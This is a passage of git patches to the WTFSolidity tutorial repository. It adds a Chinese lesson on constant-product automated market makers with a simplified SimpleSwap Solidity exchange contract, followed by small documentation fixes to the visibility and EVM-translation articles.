zLlnnVt{LJBRxj;_t?B_pp+RpaRR#<9h1e{2Vz<|@r;ShFnnZ=N++wo0!Xmal^jyEU zlY2QtWg>xMuxMk183zzwlvaC?@nQcYfsAf6)Hq$-U&i|@uYIEo&87Z^XjR~B%*PLf zleujrd`k~Gg2ZV$ZOa$WCzpbC)K(qS6*7jF>|h(YYq#)W%=bufUlQ+DmjW^df&F*t z+-k=^Ypj02=ID7Af_wwLZD*&@W!ZzJF?Zoy2x@&t?_UKZY$K#g5PTS+v%##Q;@%Zl zI>1-pB29KH%@c&Q()mybnyv;bu4(McyP|?Gd1!_YRCEtbHZ~u7fqkbW#veqZ@WJG^ zr6mIKYr@tC4sRf%y`a#+W`2Y};+5Ob)#p10FG^tW)3$QFZ&L*jP@9$E)&N51h8=vB zporWD9#jsNG`W1=8^y#LpGN9cVpKwE+cF1`HC65Z6tgei>V2OD`Ha5s^oLcsI36(0 ztzPQy%pjP&SBBFKFz4R;9SE=YAaP9iq4+b2kDl9|ekvKN(@gJ}vVtx-*jv{7=;y0L zXJ--xHKeR#qiJ))obLQj9KvJKU(CTn)N>Ntf1TgPf9K&j$$vxFP+%*@vFvreYG91& z>Gbp(#9aJNf}k(FzX*ihkkAY;89V;i)`-Wy13HE>)odp}g`ZAGz}Ul(EAWR_jKYNJ z`8>|t7yc1;A&~Pns1IC$r`>UYosMkZtvQ_lIraS?R{R4rS|01Z@M;@|d|t`oD>+IR z!9(CU-I1V>-u`7~nRqrwz-${P+BDfb+>bX0AFHkujhn}5&9oKEt*gIJLVZ@9dM%LS z?_h0>kL?CA7a+s?=5rT|r1W{YqACn!Ik(pTBuQ;V)jec;wu0HwC8F-jrcMw2>&hk$}o0_E9cJy%^$=E4G<6ZN=H)wpKhk9bJJ+%mW85k=x${mhh8fCxuBPsAF6X-M5Q{I;U+YIRje`tL zmM&v2Z6>wySCahTNdIUH9|D%ab^*uinO1^w$j{oN&sX z2eEoe(V1#^Z+PO>NG#-DnM!0cJ7CrF42;jsu~>%N-(3I-eXjOFVGw-88@uS2D6_!Y z4KDmp_`zG?2wdVlj=lLg0HlKzMBEl}B;^WSX-KagC*RVU+>BG-ZWu&h%Q=T_6V6Y{ z;Uic9n!)XAJ(yKXq zq^3ILIFBn3N4G_`T%y|%TMa)*wnb3dEIlI67d9ZG)Y2BCXN4PU;&_D$$SVeH7JM(e zQdq5!)oCWa@C&lSFRGtXAtA1HYPlMTAw`t_4m1)9I~UG^gxCGe7T|&SR=I zr#<}h*>%WwGe$^Kvw-Ml#m8UgHXuU}g<3K1y2Y$OXL#TIe~MM~4Hri0H#8sT>S3nP z!+fH2iRR1ep7U1KMH7mvlpke|E9jN*)1;aNnsJ5JQ!22mE=j>6DmMCB_+@4~oM(5B zGcPVSTQP-r+S9a;YTL>}RJVc5Z(#Xgm%Juv;1S!{I z$cFxV3Ev)RpCW_(PsIXx?S>M5jaNPXt%CejKM3(T{sRFA0k94~_~c%8P-O8&YWV}K z(sIrRh7|gRvCB7R%vsdeh#@hsmHQJNj!#oArf$MrOORB-%@%U6Ba#aJ&us@vyv|L^ zTgD*tR`kOZvn(DoJZagZ_X`c4v9dM89U7mI?A4tnuZM9^F9mPilO_;q{2zzfiXjZ6+FsKv;icSF_P=bT6}76i;v*l0TdI$RmyjI#I0-2d$}- zSOy>HVM@*xKT2i3SO~Zm2Fm!;!#vJ={WTnc8rGllMDVKeuv4UKO=o92qE0WXm~ZQQ zmGbx&V_Rt>HJr)u6n)7uq7GV5Qq|h2Y5meUKRC5>>a6SIM}YAp(W)x!Z6LPP>5U#H zKeVCj^p?k!jvmySN#+*vO_sU^es%p3=25hl9dS>set;*UPt_e{Ww0eg)!D)_%ch(s zN}Vts>7M67yxB`r89}QR8@#S=(&=S&`KokXkz8KIgoO6H^HxChY3D_BZ5#bV=!<56 z!zi`X(H4`p?TEb|)WI~xVpK>^$*W&M@U&y3R?ilaVrs`(wEfUeG|bEoo>F9gS!e5y zqfGL*~j$bjUV8co&y*AcIAWqt~2{SA#;7Or%A6&~;v36#2Qg#3*HlE=H5t0?lUj z#oV)r=WOSFiH&xdKMk}=@{a4ivbjx30q>cktxHru?ZFkateOE*G09eDCB$q=UxV#QDyYKG0`Ct)*doAIumrVdM1hAsc&uYX{Vd{zdJ495 zj20@Ip${-S(|u*zSCUe;q>Hf}>|Q2=vEw_KmhlQbz51R$e|OBL1DNH==_lH|MxA=P zG=OL+dp=Og*M^^Rd;$#5eDA?7H1V9V1qaT7vW)Swx-v^WOb5&lZjQtHz$4uUlzclL zKH3Au28qwPg3#g_YQ52;XXTp;`G~CM*v0)f;^V(~GShjcCB+Nf5r>`wihug#d-MS% zs$K@uWSbDtwAyC;P}|ViRbMT=7#f(Eddwyv+beTizk~Tx2IvCbo`NIC0`N5jm1r`+v-#|Jww@s~*Fo|G}ug tD$4(Wudx3%sPJg^5AsFdKwjT`+P!BY@lqK7vBDcSR1`H7s^ngW{vWRMtXBX4 literal 0 HcmV?d00001 diff --git a/56_Swap/readme.md b/56_Swap/readme.md new file mode 100644 index 000000000..b84c4add4 --- /dev/null +++ b/56_Swap/readme.md @@ -0,0 +1,445 @@ +--- +title: 56. Swap +tags: + - solidity + - erc20 + - defi +--- + +# WTF Solidity极简入门: 56. 去中心化交易所 + +我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 + +推特:[@0xAA_Science](https://twitter.com/0xAA_Science) + +社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) + +所有代码和教程开源在github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) + +----- + +这一讲,我们将介绍恒定乘积自动做市商(Constant Product Automated Market Maker, CPAMM),它是去中心化交易所的核心机制,被Uniswap,PancakeSwap等一系列DEX采用。教学合约由[Uniswap-v2](https://github.com/Uniswap/v2-core)合约简化而来,包括了CPAMM最核心的功能。 + +## 自动做市商 + +自动做市商(Automated Market Maker,简称 AMM)是一种算法,或者说是一种在区块链上运行的智能合约,它允许数字资产之间的去中心化交易。AMM 的引入开创了一种全新的交易方式,无需传统的买家和卖家进行订单匹配,而是通过一种预设的数学公式(比如,常数乘积公式)创建一个流动性池,使得用户可以随时进行交易。 + +![](./img/56-1.png) + +接下来,我们以可乐($COLA)和美元($USD)的市场为例,给大家介绍 AMM。为了方便,我们规定一下符号: $x$ 和 $y$ 分别表示市场中可乐和美元的总量,$\Delta x$ 和 $\Delta y$ 分别表示一笔交易中可乐和美元的变化量,$L$ 和 $\Delta L$ 表示总流动性和流动性的变化量。 + +### 恒定总和自动做市商 + +恒定总和自动做市商(Constant Sum Automated Market Maker, CSAMM)是最简单的自动做市商模型,我们从它开始。它在交易时的约束为: + +$$k=x+y$$ + +其中 $k$ 为常数。也就是说,在交易前后市场中可乐和美元数量的总和保持不变。举个例子,市场中流动性有 10 瓶可乐和 10 美元,此时 $k=20$,可乐的价格为 1 美元/瓶。我很渴,想拿出 2 美元来换可乐。交易后市场中的美元总量变为 12,根据约束$k=20$,交易后市场中有 8 瓶可乐,价格为 1 美元/瓶。我在交易中得到了 2 瓶可乐,价格为 1 美元/瓶。 + +CSAMM 的优点是可以保证代币的相对价格不变,这点在稳定币兑换中很重要,大家都希望 1 USDT 总能兑换出 1 USDC。但它的缺点也很明显,它的流动性很容易耗尽:我只需要 10 美元,就可以把市场上可乐的流动性耗尽,其他想喝可乐的用户就没法交易了。 + +下面我们介绍拥有”无限“流动性的恒定乘积自动做市商。 + +### 恒定乘积自动做市商 + +恒定乘积自动做市商(CPAMM)是最流行的自动做市商模型,最早被 Uniswap 采用。它在交易时的约束为: + +$$k=x*y$$ + +其中 $k$ 为常数。也就是说,在交易前后市场中可乐和美元数量的乘积保持不变。同样的例子,市场中流动性有 10 瓶可乐和 10 美元,此时 $k=100$,可乐的价格为 1 美元/瓶。我很渴,想拿出 10 美元来换可乐。如果在 CSAMM 中,我的交易会换来 10 瓶可乐,并耗尽市场上可乐的流动性。但在 CPAMM 中,交易后市场中的美元总量变为 20,根据约束 $k=100$,交易后市场中有 5 瓶可乐,价格为 $20/5 = 4$ 美元/瓶。我在交易中得到了 5 瓶可乐,价格为 $10/5 = 2$ 美元/瓶。 + +CPAMM 的优点是拥有“无限”流动性:代币的相对价格会随着买卖而变化,越稀缺的代币相对价格会越高,避免流动性被耗尽。上面的例子中,交易让可乐从 1 美元/瓶 上涨到 4 美元/瓶,从而避免市场上的可乐被买断。 + +下面,让我们建立一个基于 CPAMM 的极简的去中心化交易所。 + +## 去中心化交易所 + +下面,我们用智能合约写一个去中心化交易所 `SimpleSwap`,支持用户交易一对代币。 + +`SimpleSwap` 继承了 ERC20 代币标准,方便记录流动性提供者提供的流动性。在构造器中,我们指定一对代币地址 `token0` 和 `token1`,交易所仅支持这对代币。`reserve0` 和 `reserve1` 记录了合约中代币的储备量。 + +```solidity +contract SimpleSwap is ERC20 { + // 代币合约 + IERC20 public token0; + IERC20 public token1; + + // 代币储备量 + uint public reserve0; + uint public reserve1; + + // 构造器,初始化代币地址 + constructor(IERC20 _token0, IERC20 _token1) ERC20("SimpleSwap", "SS") { + token0 = _token0; + token1 = _token1; + } +} +``` + +交易所主要有两类参与者:流动性提供者(Liquidity Provider,LP)和交易者(Trader)。下面我们分别实现这两部分的功能。 + +### 流动性提供 + +流动性提供者给市场提供流动性,让交易者获得更好的报价和流动性,并收取一定费用。 + +首先,我们需要实现添加流动性的功能。当用户向代币池添加流动性时,合约要记录添加的LP份额。根据 Uniswap V2,LP份额如下计算: + +1. 代币池被首次添加流动性时,LP份额 $\Delta{L}$ 由添加代币数量乘积的平方根决定: + + $$\Delta{L}=\sqrt{\Delta{x} *\Delta{y}}$$ + +1. 非首次添加流动性时,LP份额由添加代币数量占池子代币储备量的比例决定(两个代币的比例取更小的那个): + + $$\Delta{L}=L*\min{(\frac{\Delta{x}}{x}, \frac{\Delta{y}}{y})}$$ + +因为 `SimpleSwap` 合约继承了 ERC20 代币标准,在计算好LP份额后,可以将份额以代币形式铸造给用户。 + +下面的 `addLiquidity()` 函数实现了添加流动性的功能,主要步骤如下: + +1. 将用户添加的代币转入合约,需要用户事先给合约授权。 +2. 根据公式计算添加的流动性份额,并检查铸造的LP数量。 +3. 更新合约的代币储备量。 +4. 给流动性提供者铸造LP代币。 +5. 释放 `Mint` 事件。 + +```solidity +event Mint(address indexed sender, uint amount0, uint amount1); + +// 添加流动性,转进代币,铸造LP +// @param amount0Desired 添加的token0数量 +// @param amount1Desired 添加的token1数量 +function addLiquidity(uint amount0Desired, uint amount1Desired) public returns(uint liquidity){ + // 将添加的流动性转入Swap合约,需事先给Swap合约授权 + token0.transferFrom(msg.sender, address(this), amount0Desired); + token1.transferFrom(msg.sender, address(this), amount1Desired); + // 计算添加的流动性 + uint _totalSupply = totalSupply(); + if (_totalSupply == 0) { + // 如果是第一次添加流动性,铸造 L = sqrt(x * y) 单位的LP(流动性提供者)代币 + liquidity = sqrt(amount0Desired * amount1Desired); + } else { + // 如果不是第一次添加流动性,按添加代币的数量比例铸造LP,取两个代币更小的那个比例 + liquidity = min(amount0Desired * _totalSupply / reserve0, amount1Desired * _totalSupply /reserve1); + } + + // 检查铸造的LP数量 + require(liquidity > 0, 'INSUFFICIENT_LIQUIDITY_MINTED'); + + // 更新储备量 + reserve0 = token0.balanceOf(address(this)); + reserve1 = token1.balanceOf(address(this)); + + // 给流动性提供者铸造LP代币,代表他们提供的流动性 + _mint(msg.sender, liquidity); + + emit Mint(msg.sender, amount0Desired, amount1Desired); +} +``` + +接下来,我们需要实现移除流动性的功能。当用户从池子中移除流动性 $\Delta{L}$ 时,合约要销毁LP份额代币,并按比例将代币返还给用户。返还代币的计算公式如下: + +$$\Delta{x}={\frac{\Delta{L}}{L} * x}$$ +$$\Delta{y}={\frac{\Delta{L}}{L} * y}$$ + +下面的 `removeLiquidity()` 函数实现移除流动性的功能,主要步骤如下: + +1. 获取合约中的代币余额。 +2. 按LP的比例计算要转出的代币数量。 +3. 检查代币数量。 +4. 销毁LP份额。 +5. 将相应的代币转账给用户。 +6. 更新储备量。 +5. 释放 `Burn` 事件。 + +```solidity +// 移除流动性,销毁LP,转出代币 +// 转出数量 = (liquidity / totalSupply_LP) * reserve +// @param liquidity 移除的流动性数量 +function removeLiquidity(uint liquidity) external returns (uint amount0, uint amount1) { + // 获取余额 + uint balance0 = token0.balanceOf(address(this)); + uint balance1 = token1.balanceOf(address(this)); + // 按LP的比例计算要转出的代币数量 + uint _totalSupply = totalSupply(); + amount0 = liquidity * balance0 / _totalSupply; + amount1 = liquidity * balance1 / _totalSupply; + // 检查代币数量 + require(amount0 > 0 && amount1 > 0, 'INSUFFICIENT_LIQUIDITY_BURNED'); + // 销毁LP + _burn(msg.sender, liquidity); + // 转出代币 + token0.transfer(msg.sender, amount0); + token1.transfer(msg.sender, amount1); + // 更新储备量 + reserve0 = token0.balanceOf(address(this)); + reserve1 = token1.balanceOf(address(this)); + + emit Burn(msg.sender, amount0, amount1); +} +``` + +至此,合约中与流动性提供者相关的功能完成了,接下来是交易的部分。 + +### 交易 + +在Swap合约中,用户可以使用一种代币交易另一种。那么我用 $\Delta{x}$单位的代币0,可以交换多少单位的代币1呢?下面我们来简单推导一下。 + +根据恒定乘积公式,交易前: + +$$k=x*y$$ + +交易后,有: + +$$k=(x+\Delta{x})*(y+\Delta{y})$$ + +交易前后 $k$ 值不变,联立上面等式,可以得到: + +$$\Delta{y}=-\frac{\Delta{x}*y}{x+\Delta{x}}$$ + +因此,可以交换到的代币数量 $\Delta{y}$ 由 $\Delta{x}$,$x$,和 $y$ 决定。注意 $\Delta{x}$ 和 $\Delta{y}$ 的符号相反,因为转入会增加代币储备量,而转出会减少。 + +下面的 `getAmountOut()` 实现了给定一个资产的数量和代币对的储备,计算交换另一个代币的数量。 + +```solidity +// 给定一个资产的数量和代币对的储备,计算交换另一个代币的数量 +function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) public pure returns (uint amountOut) { + require(amountIn > 0, 'INSUFFICIENT_AMOUNT'); + require(reserveIn > 0 && reserveOut > 0, 'INSUFFICIENT_LIQUIDITY'); + amountOut = amountIn * reserveOut / (reserveIn + amountIn); +} +``` + +有了这一核心公式后,我们可以着手实现交易功能了。下面的 `swap()` 函数实现了交易代币的功能,主要步骤如下: + +1. 用户在调用函数时指定用于交换的代币数量,交换的代币地址,以及换出另一种代币的最低数量。 +2. 判断是 token0 交换 token1,还是 token1 交换 token0。 +3. 利用上面的公式,计算交换出代币的数量。 +4. 判断交换出的代币是否达到了用户指定的最低数量,这里类似于交易的滑点。 +5. 将用户的代币转入合约。 +6. 将交换的代币从合约转给用户。 +7. 更新合约的代币储备量。 +8. 释放 `Swap` 事件。 + +```solidity +// swap代币 +// @param amountIn 用于交换的代币数量 +// @param tokenIn 用于交换的代币合约地址 +// @param amountOutMin 交换出另一种代币的最低数量 +function swap(uint amountIn, IERC20 tokenIn, uint amountOutMin) external returns (uint amountOut, IERC20 tokenOut){ + require(amountIn > 0, 'INSUFFICIENT_OUTPUT_AMOUNT'); + require(tokenIn == token0 || tokenIn == token1, 'INVALID_TOKEN'); + + uint balance0 = token0.balanceOf(address(this)); + uint balance1 = token1.balanceOf(address(this)); + + if(tokenIn == token0){ + // 如果是token0交换token1 + tokenOut = token1; + // 计算能交换出的token1数量 + amountOut = getAmountOut(amountIn, balance0, balance1); + require(amountOut > amountOutMin, 'INSUFFICIENT_OUTPUT_AMOUNT'); + // 进行交换 + tokenIn.transferFrom(msg.sender, address(this), amountIn); + tokenOut.transfer(msg.sender, amountOut); + }else{ + // 如果是token1交换token0 + tokenOut = token0; + // 计算能交换出的token1数量 + amountOut = getAmountOut(amountIn, balance1, balance0); + require(amountOut > amountOutMin, 'INSUFFICIENT_OUTPUT_AMOUNT'); + // 进行交换 + tokenIn.transferFrom(msg.sender, address(this), amountIn); + tokenOut.transfer(msg.sender, amountOut); + } + + // 更新储备量 + reserve0 = token0.balanceOf(address(this)); + reserve1 = token1.balanceOf(address(this)); + + emit Swap(msg.sender, amountIn, address(tokenIn), amountOut, address(tokenOut)); +} +``` + +## Swap 合约 + +`SimpleSwap` 的完整代码如下: + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.19; + +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; + +contract SimpleSwap is ERC20 { + // 代币合约 + IERC20 public token0; + IERC20 public token1; + + // 代币储备量 + uint public reserve0; + uint public reserve1; + + // 事件 + event Mint(address indexed sender, uint amount0, uint amount1); + event Burn(address indexed sender, uint amount0, uint amount1); + event Swap( + address indexed sender, + uint amountIn, + address tokenIn, + uint amountOut, + address tokenOut + ); + + // 构造器,初始化代币地址 + constructor(IERC20 _token0, IERC20 _token1) ERC20("SimpleSwap", "SS") { + token0 = _token0; + token1 = _token1; + } + + // 取两个数的最小值 + function min(uint x, uint y) internal pure returns (uint z) { + z = x < y ? x : y; + } + + // 计算平方根 babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) + function sqrt(uint y) internal pure returns (uint z) { + if (y > 3) { + z = y; + uint x = y / 2 + 1; + while (x < z) { + z = x; + x = (y / x + x) / 2; + } + } else if (y != 0) { + z = 1; + } + } + + // 添加流动性,转进代币,铸造LP + // 如果首次添加,铸造的LP数量 = sqrt(amount0 * amount1) + // 如果非首次,铸造的LP数量 = min(amount0/reserve0, amount1/reserve1)* totalSupply_LP + // @param amount0Desired 添加的token0数量 + // @param amount1Desired 添加的token1数量 + function addLiquidity(uint amount0Desired, uint amount1Desired) public returns(uint liquidity){ + // 将添加的流动性转入Swap合约,需事先给Swap合约授权 + token0.transferFrom(msg.sender, address(this), amount0Desired); + token1.transferFrom(msg.sender, address(this), amount1Desired); + // 计算添加的流动性 + uint _totalSupply = totalSupply(); + if (_totalSupply == 0) { + // 如果是第一次添加流动性,铸造 L = sqrt(x * y) 单位的LP(流动性提供者)代币 + liquidity = sqrt(amount0Desired * amount1Desired); + } else { + // 如果不是第一次添加流动性,按添加代币的数量比例铸造LP,取两个代币更小的那个比例 + liquidity = min(amount0Desired * _totalSupply / reserve0, amount1Desired * _totalSupply /reserve1); + } + + // 检查铸造的LP数量 + require(liquidity > 0, 'INSUFFICIENT_LIQUIDITY_MINTED'); + + // 更新储备量 + reserve0 = token0.balanceOf(address(this)); + reserve1 = token1.balanceOf(address(this)); + + // 给流动性提供者铸造LP代币,代表他们提供的流动性 + _mint(msg.sender, liquidity); + + emit Mint(msg.sender, amount0Desired, amount1Desired); + } + + // 移除流动性,销毁LP,转出代币 + // 转出数量 = (liquidity / totalSupply_LP) * reserve + // @param liquidity 移除的流动性数量 + function removeLiquidity(uint liquidity) external returns (uint amount0, uint amount1) { + // 获取余额 + uint balance0 = token0.balanceOf(address(this)); + uint balance1 = token1.balanceOf(address(this)); + // 按LP的比例计算要转出的代币数量 + uint _totalSupply = totalSupply(); + amount0 = liquidity * balance0 / _totalSupply; + amount1 = liquidity * balance1 / _totalSupply; + // 检查代币数量 + require(amount0 > 0 && amount1 > 0, 'INSUFFICIENT_LIQUIDITY_BURNED'); + // 销毁LP + _burn(msg.sender, liquidity); + // 转出代币 + token0.transfer(msg.sender, amount0); + token1.transfer(msg.sender, amount1); + // 更新储备量 + reserve0 = token0.balanceOf(address(this)); + reserve1 = token1.balanceOf(address(this)); + + emit Burn(msg.sender, amount0, amount1); + } + + // 给定一个资产的数量和代币对的储备,计算交换另一个代币的数量 + // 由于乘积恒定 + // 交换前: k = x * y + // 交换后: k = (x + delta_x) * (y + delta_y) + // 可得 delta_y = - delta_x * y / (x + delta_x) + // 正/负号代表转入/转出 + function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) public pure returns (uint amountOut) { + require(amountIn > 0, 'INSUFFICIENT_AMOUNT'); + require(reserveIn > 0 && reserveOut > 0, 'INSUFFICIENT_LIQUIDITY'); + amountOut = amountIn * reserveOut / (reserveIn + amountIn); + } + + // swap代币 + // @param amountIn 用于交换的代币数量 + // @param tokenIn 用于交换的代币合约地址 + // @param amountOutMin 交换出另一种代币的最低数量 + function swap(uint amountIn, IERC20 tokenIn, uint amountOutMin) external returns (uint amountOut, IERC20 tokenOut){ + require(amountIn > 0, 'INSUFFICIENT_OUTPUT_AMOUNT'); + require(tokenIn == token0 || tokenIn == token1, 'INVALID_TOKEN'); + + uint balance0 = token0.balanceOf(address(this)); + uint balance1 = token1.balanceOf(address(this)); + + if(tokenIn == token0){ + // 如果是token0交换token1 + tokenOut = token1; + // 计算能交换出的token1数量 + amountOut = getAmountOut(amountIn, balance0, balance1); + require(amountOut > amountOutMin, 'INSUFFICIENT_OUTPUT_AMOUNT'); + // 进行交换 + tokenIn.transferFrom(msg.sender, address(this), amountIn); + tokenOut.transfer(msg.sender, amountOut); + }else{ + // 如果是token1交换token0 + tokenOut = token0; + // 计算能交换出的token1数量 + amountOut = getAmountOut(amountIn, balance1, balance0); + require(amountOut > amountOutMin, 'INSUFFICIENT_OUTPUT_AMOUNT'); + // 进行交换 + tokenIn.transferFrom(msg.sender, address(this), amountIn); + tokenOut.transfer(msg.sender, amountOut); + } + + // 更新储备量 + reserve0 = token0.balanceOf(address(this)); + reserve1 = token1.balanceOf(address(this)); + + emit Swap(msg.sender, amountIn, address(tokenIn), amountOut, address(tokenOut)); + } +} +``` + +## Remix 复现 + +1. 部署两个ERC20代币合约(token0 和 token1),并记录它们的合约地址。 + +2. 部署 `SimpleSwap` 合约,并将上面的代币地址填入。 + +3. 调用两个ERC20代币的`approve()`函数,分别给 `SimpleSwap` 合约授权 1000 单位代币。 + +4. 调用 `SimpleSwap` 合约的 `addLiquidity()` 函数给交易所添加流动性,token0 和 token1 分别添加 100 单位。 + +5. 调用 `SimpleSwap` 合约的 `balanceOf()` 函数查看用户的LP份额,这里应该为 100。($\sqrt{100*100}=100$) + +6. 调用 `SimpleSwap` 合约的 `swap()` 函数进行代币交易,用 100 单位的 token0。 + +7. 调用 `SimpleSwap` 合约的 `reserve0` 和 `reserve1` 函数查看合约中的代币储备粮,应为 200 和 50。上一步我们利用 100 单位的 token0 交换了 50 单位的 token 1($\frac{100*100}{100+100}=50$)。 + +## 总结 + +这一讲,我们介绍了恒定乘积自动做市商,并写了一个极简的去中心化交易所。在极简Swap合约中,我们有很多没有考虑的部分,例如交易费用以及治理部分。如果你对去中心化交易所感兴趣,推荐你阅读 [Programming DeFi: Uniswap V2](https://jeiwan.net/posts/programming-defi-uniswapv2-1/) 和 [Uniswap v3 book](https://y1cunhui.github.io/uniswapV3-book-zh-cn/) ,更深入的学习。 \ No newline at end of file diff --git a/README.md b/README.md index 52df5c369..f7895327e 100644 --- a/README.md +++ b/README.md @@ -140,6 +140,8 @@ **第55讲:多重调用**:[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/55_MultiCall) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/55_MultiCall/readme.md) +**第56讲:去中心化交易所**:[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/56_Swap) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/56_Swap/readme.md) + ## 合约安全 **S01:重入攻击**:[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/S01_ReentrancyAttack) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/S01_ReentrancyAttack/readme.md) | [Mirror](https://mirror.xyz/wtfacademy.eth/SrNu6LLzwH7qlTVKbJY6lkTpmadGqUXw0L8iUMzfMxo) From 82a97cc5a57aa831b82039f2f4821236984f7e2b Mon Sep 17 00:00:00 2001 From: "Li, Amazing Ang" Date: Wed, 28 Jun 2023 17:08:18 +0800 Subject: [PATCH 06/46] Update readme.md --- 56_Swap/readme.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/56_Swap/readme.md b/56_Swap/readme.md index b84c4add4..c5196de5f 100644 --- a/56_Swap/readme.md +++ b/56_Swap/readme.md @@ -182,7 +182,7 @@ function removeLiquidity(uint liquidity) external returns (uint amount0, uint am ### 交易 -在Swap合约中,用户可以使用一种代币交易另一种。那么我用 $\Delta{x}$单位的代币0,可以交换多少单位的代币1呢?下面我们来简单推导一下。 +在Swap合约中,用户可以使用一种代币交易另一种。那么我用 $\Delta{x}$单位的 token0,可以交换多少单位的 token1 呢?下面我们来简单推导一下。 根据恒定乘积公式,交易前: From 587b253a4679220df20587a12104f74acc2cdfda Mon Sep 17 00:00:00 2001 From: 0xAA Date: Wed, 28 Jun 2023 17:10:38 +0800 Subject: [PATCH 07/46] No default visibility for functions --- Languages/en/03_Function_en/readme.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Languages/en/03_Function_en/readme.md b/Languages/en/03_Function_en/readme.md index 88fd6a669..e5f9401df 100644 --- a/Languages/en/03_Function_en/readme.md +++ b/Languages/en/03_Function_en/readme.md @@ -28,7 +28,7 @@ It may seem complex, but let's break it down piece by piece (square brackets ind 3. `()`: The input parameter types and names. -3. `[internal|external|public|private]`: Function visibility specifiers. There are 4 kinds of them `public` is the default visibility if left empty: +3. `[internal|external|public|private]`: Function visibility specifiers. There is no default visibility, so you must specify it for each function. There are 4 kinds of them: - `public`: Visible to all. From 8ac4c4fb1f626d97bfaa305286c1181f073f3c15 Mon Sep 17 00:00:00 2001 From: DNCBA <33903703+DNCBA@users.noreply.github.com> Date: Fri, 30 Jun 2023 10:34:57 +0800 Subject: [PATCH 08/46] fix[DiveEVM2017]: Part4.md bytes count error Update DiveEVM2017-Part4.md fix bytes count error --- Topics/Translation/DiveEVM2017/DiveEVM2017-Part4.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/Topics/Translation/DiveEVM2017/DiveEVM2017-Part4.md b/Topics/Translation/DiveEVM2017/DiveEVM2017-Part4.md index 560df49f7..b407445a4 100644 --- a/Topics/Translation/DiveEVM2017/DiveEVM2017-Part4.md +++ b/Topics/Translation/DiveEVM2017/DiveEVM2017-Part4.md @@ -54,9 +54,9 @@ contract C { ```shell # The method selector (4 bytes) -0xee919d5 +0xee919d50 # The 1st argument (32 bytes) -00000000000000000000000000000000000000000000000000000000000000001 +0000000000000000000000000000000000000000000000000000000000000001 ``` 前四个字节是方法选择器(method selector)。其余的输入数据是 32 字节的块的方法参数。在这个例子中,只有 1 个参数,即值 `0x1`​。 @@ -637,4 +637,4 @@ ABI 被指定为低级格式,但在功能上它更像是跨语言 RPC 框架 * 区块链就像背后的数据库。 * 合约就像一个网络服务。 * 交易就像一个请求。 -* ABI 是数据交换格式,类似于[协议缓冲区](https://en.wikipedia.org/wiki/Protocol_Buffers)。 \ No newline at end of file +* ABI 是数据交换格式,类似于[协议缓冲区](https://en.wikipedia.org/wiki/Protocol_Buffers)。 From 7ecb90dee0572eeacabc7fdbc42433c1a0329ee5 Mon Sep 17 00:00:00 2001 From: DNCBA <33903703+DNCBA@users.noreply.github.com> Date: Fri, 30 Jun 2023 15:31:45 +0800 Subject: [PATCH 09/46] fix[DiveEVM2017]: Part6.md bytes count error MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Update DiveEVM2017-Part6.md fix bytes count error 示例参数为 32 bit 需要用 8 位 16 进制编码表示,文档中 32 位数据【0xc0fefe】少了 2 位 16 进制编码 --- .../DiveEVM2017/DiveEVM2017-Part6.md | 26 +++++++++---------- 1 file changed, 13 insertions(+), 13 deletions(-) diff --git a/Topics/Translation/DiveEVM2017/DiveEVM2017-Part6.md b/Topics/Translation/DiveEVM2017/DiveEVM2017-Part6.md index 179381669..47ec2f10e 100644 --- a/Topics/Translation/DiveEVM2017/DiveEVM2017-Part6.md +++ b/Topics/Translation/DiveEVM2017/DiveEVM2017-Part6.md @@ -75,12 +75,12 @@ pragma solidity ^0.4.18; contract Logger { function Logger() public { - log0(0xc0fefe); + log0(0xc0fefefe); } } ``` -生成的汇编可以分为两半。前半部分将日志数据(`0xc0fefe`​)从堆栈复制到内存中。后半部分将 `log0`​ 指令的参数放在堆栈上,告诉它在内存中加载数据的位置。 +生成的汇编可以分为两半。前半部分将日志数据(`0xc0fefefe`​)从堆栈复制到内存中。后半部分将 `log0`​ 指令的参数放在堆栈上,告诉它在内存中加载数据的位置。 带注释的汇编: @@ -89,19 +89,19 @@ memory: { 0x40 => 0x60 } tag_1: // copy data into memory - 0xc0fefe - [0xc0fefe] + 0xc0fefefe + [0xc0fefefe] mload(0x40) - [0x60 0xc0fefe] + [0x60 0xc0fefefe] swap1 - [0xc0fefe 0x60] + [0xc0fefefe 0x60] dup2 - [0x60 0xc0fefe 0x60] + [0x60 0xc0fefefe 0x60] mstore [0x60] memory: { 0x40 => 0x60 - 0x60 => 0xc0fefe + 0x60 => 0xc0fefefe } // calculate data start position and size @@ -163,7 +163,7 @@ pragma solidity ^0.4.18; contract Logger { function Logger() public { - log2(0xc0fefe, 0xaaaa1111, 0xbbbb2222); + log2(0xc0fefefe, 0xaaaa1111, 0xbbbb2222); } } ``` @@ -177,7 +177,7 @@ tag_1: 0xaaaa1111 // copy data into memory - 0xc0fefe + 0xc0fefefe mload(0x40) swap1 dup2 @@ -194,12 +194,12 @@ tag_1: log2 ``` -数据还是 `0xc0fefe`​,复制到内存。在执行 `log2`​ 之前,EVM 的状态如下所示: +数据还是 `0xc0fefefe`​,复制到内存。在执行 `log2`​ 之前,EVM 的状态如下所示: ```shell stack: [0x60 0x20 0xaaaa1111 0xbbbb2222] memory: { - 0x60: 0xc0fefe + 0x60: 